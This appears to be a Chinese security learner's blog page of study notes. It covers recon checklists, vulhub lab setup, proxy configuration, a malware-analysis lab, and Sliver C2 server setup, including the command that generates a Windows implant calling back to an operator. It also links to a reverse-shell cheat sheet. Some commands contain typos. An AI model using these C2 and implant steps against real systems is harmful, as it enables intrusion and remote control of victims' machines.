全部文章 – 第 3 页

2023年5月19日

qukuai

信息搜集：

服务器真实IP发现
服务器指纹识别
目标子域探测
邮件服务探测
证书信息采集
Web服务组件指纹采集
Web网站目录探测
API接口信息泄露
域名Whois及备案信息采集
端口服务组件指纹采集
旁服信息采集
C段服务采集
Github/SVN源码泄露发现
DNS记录分析搜索引擎公开信息采集（google、shodan、zoomeye）
企业信息采集
敏感文件发现

2023年5月17日2023年8月28日

docker

apt-get install docker docker.compose

安装出问题就按照提示修复安装包，修复不了重启虚拟机。

新建文件夹，把环境需要的.yml文件下载下来，然后运行docker-compose up -d即可

yml在vulhub找

当不想用的时候运行 docker ps 查看正在运行的环境

然后输入 docker stop 容器id或名称来关闭

查看容器时，进入容器：
docker exec -it <容器ID或名称> /bin/bash

2023年4月27日

《长安的荔枝》

2023年4月27日

《枪炮、病菌与钢铁》

2023年3月29日

注册表

注册表是windows操作系统，硬件设备以及客户应用程序得以运行和保存设置的核心“数据库”。

简单来说注册表是一个庞大的树状分层结构的数据库系统。

注册表记录了用户安装在计算机上的软件和每个程序的相互关联信息，包括计算机配置或自动配置的即插即用的设备和已用的各种设备说明，状态信息和数据等

2023年2月15日

kali clash/proxychains4

https://juejin.cn/post/7124962244370104350

sudo lsof -i tcp:7890

kill 9 pid

./clash

http7890

sock5 7891

how to set clash step-by-step

step1.download

在github上下载，将clash安装到记得的目录中

step2.下载控制面板：因为要操作节点

mkdir /opt/clash/ui && cd /opt/clash/ui //如果安装在opt下

wget https://codeload.github.com/Dreamacro/clash-dashboard/zip/refs/heads/gh-pages //下载了压缩文件

unzip gh-pages

rm -rf gh-pages

mv clash-dashboard-gh-pages/* . //解压然后更美观

step3.修改clash配置文件：

在 /root/.config/clash 目录下有三个文件，将原来的配置文件删除，使用命令rm -rf filename

然后下载新的订阅配置文件，机场关于clash配置中有：

wget -O /etc/clash/config.yaml [你的订阅链接]
然后vim config.yaml 进行配置，找到ui配置，修改为
“external-ui: /opt/clash/ui”
之后使用浏览器通过 127.0.0.0：9090/ui访问控制面板

使用：

将clash cp到bin目录下就可以随意打开

换节点的时候 127.0.0.1：9090/ui修改

一个可行的配置：

clash：规则模式，选了一个网速还行的节点

firefox：浏览器设置
http：127.0.0.1 7890
https：127.0.0.1 7890
socks5：127.0.0.1 7891

可以访问谷歌

使用proxychains4 ：

sudo vim /etc/proxychains4.conf

把动态链的#去掉

把静态链的#加上

在配置文件最下面的proxylist处，删掉socks4，加上：
http 127.0.0.1 7890
socks5 127.0.0.1 7891

测试：首先启动 clash

proxychains4 firefox www.whatismyip.com 查看ip

2023年2月15日

各种语言的shellcode

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php

2023年2月11日

恶意代码分析学习

使用ubuntu作为模拟服务，使用win7进行分析

ubuntu

下载地址：http://releases.Ubuntu.com

一、更新软件

1.软件包

$ sudo apt-get update
$ sudo apt-get install python-pip
$ pip install --upgrade pip
$ sudo apt-get install python-magic
$ sudo apt-get install upx
$ sudo pip install pefile
$ sudo apt-get install yara
$ sudo pip install yara-python
$ sudo ape-get install ssdeep
$ sudo apt-get install build-essential libffi-dev python python-dex libfuzzy-dev
$ sudo pip install ssdeep
$ sudo apt-get install wireshark
$ sudo apt-get install tshark


2.安装INetSIm：用于模拟服务，比如DNS和HTTP服务
$ echo "deb http://www.inetsim.org/debian/ binary/" > /etc/apt/sources.list.d/inetsim.list
$ echo "deb-src http://www.inetsim.org/debian/ source/" >> /etc/apt/sources.list.d/inetsim.list
$ wget -O - https://www.inetsim.org/inetsim-archive-signing-key.asc --no-check-certificate | apt-key add -
$ apt update
$ apt install inetsim

inetsim的默认监听端口为127.0.0.1，现在要修改为监听192.168.1.100.
打开位于 /etc/inetsim/inetsim.conf 的配置文件，使用以下命令进行编辑

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/inetsim/inetsim.conf
然后到 service_bind_address 中的下一行加入192.168.1.100然后保存
然后到 dns_default_ip 中的下一行加入 192.168.1.100然后保存
然后运行 inetsim ，如果显示pid已经存在，使用命令 cat /var/run/inetsim.pid查看占用的pid，使用命令
kill 9 pid 关闭该进程，然后再重启服务，查看到监听为192.168.1.100。注意正常情况下不应该出现红色的fail告警
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

3.隔离主机。将ubuntu16的网络模式改为仅主机模式 hots-only

4.查看网卡信息
$ ifconfig
我的网卡为 ens33

5.配置网卡将ip地址固定为192.168.1.100

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/network/interfaces
增加以下内容：
$ suto ens33
$ iface ens33 inet static
$ address 192.168.1.100
$ netmask 255.255.255.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

然后重启ubuntu

ubuntu算是配置好了

WIN7

修改静态ip 192.168.1.50

网关：192.168.1.100

DNS：192.168.1.100

win+r gpedit.msc -> 计算机配置 ->管理模板->windows 组件->找到win defender 双击->双击关闭d->开启“关闭defender”->应用

样本获取

Hybrid Analysis:https://www.hybrid-analysis.com/
KernelMode.info:https://www.kernelmode.info/forum/viewforum.php?f=16
VirusBay:https://beta.virusbay.io/
Contagio malware dump:http://contagiodump.blogspot.com/
AVCaesar:https://avcaesar.malware.lu/
Malwr:https://malwr.com/
VirusShare:https://virusshare.com
theZOO:https://thezoo.morirt.com/
下面的链接可以找到更多的样本
Free Malware Sample Sources for Researchers

2023年2月3日

sliver

How to Set up & Use C2 Sliver

https://github.com/BishopFox/sliver/releases

服务端

下载 wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip

解压unzip unzip sliver-server_linux.zip

安装库sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

创建一个player。创建一个会话用于之后监听

new-player –operator sigma –lhost 192.168.x.x

会在当前文件夹生成一个cfg文件，后面会用得上

此时会默认监听31337端口//客户端通过31337连接服务端

然后输入players来查看，如下图：

启动多人模式，输入命令multiplayer

客户端

跟下载服务端一样，先下载解压，然后安装依赖

wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip

unzip sliver-client_linux.zip

sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

首先保证服务端开启了多人模式，然后把cfg文件传输到root文件夹中：
sudo cp x_192.168.x.x.cfg /root/.sliver-client/configs

sliver的默认连接端口是31337，可以通过编辑配置文件进行修改：
cat ~/.sliver/configs/server.json //没找到

Commands:
=========
  clear       清除屏幕
  exit        退出shell
  help        帮助
  monitor     监视器
  wg-config   生成新的WireGuard配置
  wg-portfwd  列出WireGuard端口
  wg-socks    列出监听WireGuard服务器

Generic:
========
  aliases           列出当前别名
  armory            自动下载并安装扩展模块/别名
  background        后台活动会话
  beacons           信标管理
  builders          列出外部构建器
  canaries          列出以前生成的canaries
  cursed            谷歌浏览器开发者工具包？
  dns               启动DNS监听
  env               列出环境变量
  generate          生成二进制文件
  hosts             管理主机数据库
  http              启动http监听
  https             启动https监听
  implants          列出生成的马
  jobs              控制器
  licenses          开源许可
  loot              管理服务器商店
  mtls              启动mTLS监听
  prelude-operator  管理与Prelude操作员的连接？
  profiles          列出现有配置文件
  reaction          管理对事件的自动反应
  regenerate        重新生成注入？
  sessions          会话管理
  settings          管理客户端设置
  stage-listener    启动分段监听程序
  tasks             信标任务管理
  update            检查更新
  use               切换活动会话或信标
  version           显示版本信息
  websites          Host static content (used with HTTP C2)
  wg                启动WireGuard监听

Multiplayer:
============
  kick-operator  踢人
  multiplayer    开启多人模式
  new-operator   创建新的用户配置文件
  operators      管理员设置

生成木马：
generate –mtls <Server IP：port> –save test.exe –os Windows 默认8888

使用MTLS监听，使用jobs命令可以看到当前的任务，使用sessions可以查看信息，如下图